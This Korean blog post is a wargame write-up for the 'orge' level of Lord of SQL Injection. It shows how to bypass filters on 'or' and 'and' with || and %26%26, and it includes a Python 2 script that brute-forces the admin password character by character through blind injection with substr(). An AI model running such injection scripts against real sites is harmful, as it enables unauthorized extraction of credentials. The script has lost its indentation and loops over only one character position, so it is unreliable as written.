역시 pw를 알아내야하는 블라인드 인젝션문제이다. 이전의 블라인드 인젝션 문제와 다른점이 있다면,
or과 and에 필터링이 걸려 있다는 것. and같은 경우에는 url안에서 &기호 대신에 url인코딩에 따라 url에 %26으로 입력해 줘야한다.
or필터링 우회 : ||
and필터링 우회 : %26%26(&&)
아래의 그림과 같이 and를 %26%26으로 입력해준 후 length(pw)='@ <--임의의 숫자를 대입해봄
pw는 8자리라는 것을 알 수 있었다.
아래와 같이 substr()함수를 이용해서 임의의 값을 넣어 한자리씩 총 8자리의 pw를 알아내면 된다.
import urllib2
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',
'Cookie': '__cfduid=d801ac695e6807aeabe31f3b42483360c1520211570; PHPSESSID=4uocr6djjqvf1pi7bsgemnha36'}
result=[]
for j in range(1,2):
for i in range(48,123):
urL="http://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=1%27%20||%20id=%27admin%27%20%26%26%20substr(pw,{0},1)=%27{1}".format(str(j),str(chr(i)))
request = urllib2.Request(urL, None, headers)
response = urllib2.urlopen(request)
res=response.read(160)
if "Hello admin" in res:
result+=str(chr(i))
print result
'Web Hacking > Lord of SQL injection' 카테고리의 다른 글
09.los vampire (0) | 2018.03.22 |
---|---|
08.los troll (0) | 2018.03.22 |
06.los darkelf (0) | 2018.03.21 |
05.los wolfman (0) | 2018.03.21 |
04.los orc (0) | 2018.03.21 |